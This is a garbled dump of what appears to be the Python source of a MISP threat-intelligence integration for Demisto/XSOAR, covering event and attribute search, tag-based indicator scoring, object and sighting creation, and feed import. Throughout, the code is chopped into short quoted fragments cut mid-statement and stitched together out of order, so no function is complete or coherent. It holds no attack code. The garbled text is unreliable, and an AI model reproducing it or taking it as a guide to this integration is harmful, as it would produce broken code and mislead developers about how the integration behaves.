regex_or = r'(OR:)([^\\;]+)(;)?' regex_not =", "list, str]: \"\"\" Replacing keys from MISP's format to Demisto's", "given email address: {value} is not valid\") def get_indicator_results(value, dbot_type,", "in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag", "'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP", "response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in", "else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port})", "] # converting args to MISP's arguments types misp_attributes_args =", "(array of attributes). score: the indicator score found_tag: the tag", "ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects':", "'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN':", "= not params.get('insecure') PROXIES = handle_proxy() # type: ignore try:", "else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if", "in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event", "scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen',", "suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = []", "demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings']", "input will be returned Returns: str: dictionary created for misp", "response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return", "events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}',", "object This function can be called as an independence command", "dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given", "{}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type", "= f'Tag {tag} has been successfully removed from the attribute", "return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] =", "is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in", "will be returned Returns: str: dictionary created for misp to", "events found in MISP for the given filters: {args}\") def", "if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output,", "CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value: {value}\") def", "attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value:", "list: \"\"\"returns list of attributes' values that match the search", "called from create event command, the attrubite will be added", "command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids =", "4 = Unknown. note: - In case the same tag", "called inherited. When it is set to 1 it says", "ids (attribute tags and event tags). Args: value (str): The", "event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'),", "{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) #", "3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category':", "'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = {", "given attribute value in MISP and then calculates it's dbot", "'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist',", "elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command ==", "Union[dict, list, str]) -> Union[dict, list, str]: \"\"\" Replacing keys", "suspicious_tag_ids): \"\"\" Gets 2 sets which include tag ids. If", "attribute. is_attribute (bool): if the given UUID belongs to an", "'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id':", "API key and the URL are correct\" in error: return_error('Unable", "see an example for a response in test_data/reputation_command_response.json Please see", "MISP because of a SSLCertVerificationError, ' 'Please try to use", "value, this function parses the response. This function goes over", "'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version':", "List[dict]: \"\"\" Converts args dict into a list, please see", "= tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')})", "attributes_limit (int) : Limits the number of attributes that will", "if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting", "that was scored as malicious or suspicious. event_name (str): Name", "get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag)", "to be a positive integer, please change the given: '{tag}'", "[replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return {", "attributes found in MISP for the given filters: {args}\") def", "that: * have tags which configured as malicious will be", "'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS',", "reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a", "build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template", "successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',", "(dict): Demisto args new_event (MISPEvent): When this function was called", "event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for", ") def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag", "given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag", "PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl:", "def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function", "it once again\") new_event = response[0] # response[0] is MISP", "= demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes)", "Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command", "event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies':", "MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if", "== \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return", "in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score':", "event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id})", "urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError,", "'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute", "demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability',", "if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args =", "object to add to MISP event_id: ID of event \"\"\"", "scored 3 (i.e malicious). * have tags which configured as", "a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values =", "copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event')", "v} for k, v in args.items()] def build_generic_object(template_name: str, args:", "of event or attribute. is_attribute (bool): if the given UUID", "any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if", "be MISP. \"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args)", "as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT", "Name of the event \"\"\" related_events = [] object_tags_list =", "= None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for", "outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page =", "None): \"\"\"Adding attribute to a given MISP event object This", "score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value:", "\"NewConnectionError\" in error: return_error('Unable to connect to MISP because of", "attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object':", "# converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args,", "= demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid)", "https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain =", "include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found", "deletes it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if", "attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def", "ids lists the indicator will be scored as malicious. -", "= demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type:", "list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary", "raise DemistoException('Attribute limit has to be a positive number.') response", "from MISP to the context output format. \"\"\" response_object =", "context data (array of attributes). score: the indicator score found_tag:", "try to use the Trust any certificate option.') if \"NewConnectionError\"", "isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else", "return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute':", "or attribute. is_attribute (bool): if the given UUID is an", "DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS", "in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else", "over all the attributes that found (after limit the attributes", "it's tags. If so, the event will be added to", "{ '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE =", "attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if", "regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is not valid\")", "if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file", "to given UUID of event or attribute. is_attribute (bool): if", "* logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to", "= outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score,", "Extracting errors raised by PYMISP into readable response, for more", "Union[dict, list, str]: \"\"\" Replacing keys from MISP's format to", "DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the", "data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type", "attribute level, default is '0' tag_id = tag.get('id') if is_event_level:", "'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command ==", "event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i", "= [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ]", "demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations']", "The given IP address: {value} is not valid\") if dbot_type", "'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution',", "indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found", "recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids", "name as described in https://github.com/MISP/misp-objects args: arguments to create the", "remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag to given", "MISP add attribute\\nNew attribute: {value} was added to event id", "[]) if event_tags: return [tag.get('Name') for tag in event_tags] def", "proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index,", "parses the response. This function goes over all the attributes", "DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide", "args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis", "str]: \"\"\" Replacing keys from MISP's format to Demisto's (as", "dict: \"\"\" Convert the response of attribute search returned from", "is no need in returning related event when searching for", "which caused the indicator to be scored as malicious or", "def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the given", "= add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']})", "= f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list", "misp_query_params, operator_key): is_complex_search = False if match_operator is not None:", "If the data is attribute's (is_event_level = false), and the", "it is part of the event scope). If the data", "def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port',", "verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]]", "= [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid',", "an OSINT feed from url and publishing them to MISP", "of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP':", "GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not", "url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url')", "# mandatory arg att_id = attribute_id or attribute_uuid if not", "the tag (id) which made the indicator to get that", "-> dict: \"\"\" Convert the response of event search returned", "= args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if", "event ids are the newer ones. Returns: response (dict): The", "\"\"\" Examples are available in UT: test_build_misp_complex_filter. For more information", "'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution',", "attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID", "attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance", "dict): event_highlights = [] for event in response: event_tags =", "obj: object to add to MISP event_id: ID of event", "'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock',", "(file, url, domain, email or ip). malicious_tag_ids (set): Tag ids", "ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args,", "dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain',", "\"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in", "For more information please see build_complex_query in pymisp/api.py Args: demisto_query:", "'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount',", "examples please see UT: test_extract_error. Args: error: list of responses", "PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has", "readable_output=f\"No attributes found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes,", "so, the event will be added to related_events list Args:", "= PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None)", "be BAD if the threat level id is in [1,2,3].", "event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, )", "been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable,", "= [] for attribute in response: event = attribute.get('Event', {})", "object to replace keys in Returns: Union[dict, list, str]: same", "response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page", "that will be written to the context Returns: CommandResults includes", "replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main():", "[{url}] is not a valid MISP feed. error: {e}') def", "parsed response from the MISP search attribute request found_tag (str):", "outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting", "args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published =", "Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if", "== 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] =", "Calculates the indicator score by following logic. Indicators of attributes", "list ot tag ids (each one is str), and verify", "return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends", "'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation',", "list of attributes' values that match the search query when", "from an event object, meaning the tags are event's ones.", "Event or attribute dict which includes tags list. found_tag (str):", "None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not", "'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data',", "if arg in demisto_args} # Replacing keys and values from", "Name fields. In addition, returns set of the found tag", "or suspicious. event_name (str): Name of the event \"\"\" related_events", "object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name =", "from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return", "DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\"", "in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids']", "that have the tag (i.e found_tag) which caused the indicator", "from MISP to the context output format. please note: attributes", "in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i],", "them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes", "= demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj =", "PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def", "= MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise", "obj: MISPObject): \"\"\"Sending object to MISP and returning outputs Args:", "= [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in", "argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually", "args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event,", "dict) -> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args", "page {page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n", "if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username", "return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': #", "(is_event_level = true) we would like to add to tag_set_ids", "' 'Please make sure your MISP server url is correct.')", "event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends", "if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag)", "'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp':", "all the tags (event ones and the event's attribute tags", "else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if", "= { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type',", "attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category =", "'8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for k, v", "key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score,", "attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return", "events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute", "UUID and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes')", "Args: all_attributes (dict): The parsed response from the MISP search", "'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'),", "returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations)", "score found_related_events (dict): contains info (name, id, threat level id)", "attribute's (attribute tags). \"\"\" output = [] tag_set_ids = set()", "tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level", "ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text',", "attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids,", "'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as", "PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has", "command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\"", "'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def", "Indicator type (file, url, domain, email or ip). malicious_tag_ids (set):", "f\"Showing page {page} out others that may exist\" else: pagination_message", "to internal (bool): if set to True, will not post", "= prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids,", "if dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type ==", "if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit", ") def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id')", "if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}')", "re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator =", "events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, }", "in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text)", "if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in", "dbot_type == 'FILE': # hashFormat will be used only in", "GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object", "if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis =", "argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id", "PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def", "if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict)", "be called as an independence command or as part of", "= demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args()", "attributes amount, we sort the attributes list by the event", "response: raise DemistoException( f\"Error: An event with the given id:", "first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid", "to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else", "template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args =", "= int(tag) if tag <= 0: raise DemistoException(f\"Tag id has", "return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given", "threat level id is in [1,2,3]. Otherwise, the threat level", "Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator =", "uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json()", "'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1,", "domain: {value} is not valid\") if dbot_type == 'URL': if", "'Please make sure your MISP server url is correct.') if", "list by the event ids as the greater event ids", "has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json')", "the attributes amount to the given limit) and by sub-functions", "i in range(0, len(events)): # Filter object from keys in", "= [] for i in range(len(related_events)): if related_events[i] not in", "def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on the", "ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids =", "should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score.", "use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed from url", "= PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event with", "= [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id':", "with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP.", "misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'),", "args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today()", "sure the UUID and tag exist.\") if is_attribute: response =", "ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None)", "f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute')", "= [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id',", "attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'),", "= f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message", "in MISP with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args)", "elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability,", "= misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable =", "a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text", "get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all the events", "human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\"", "= set(), set() found_related_events = {} if not attributes_list: return", "make sure the API key and the URL are correct\"", "match the search query when user set the arg 'compact'", "if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error:", "for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious", "'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent',", "in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] #", "= [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path':", "\"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id')", "remove tag to given UUID of event or attribute. is_attribute", "PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if", "should be recognised as malicious. suspicious_tag_ids (set): Tag ids should", "\"\"\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag',", "= argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain)", "goes over all the attributes that found (after limit the", "of the event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag',", "tags are event's ones. Otherwise, the data is attribute's 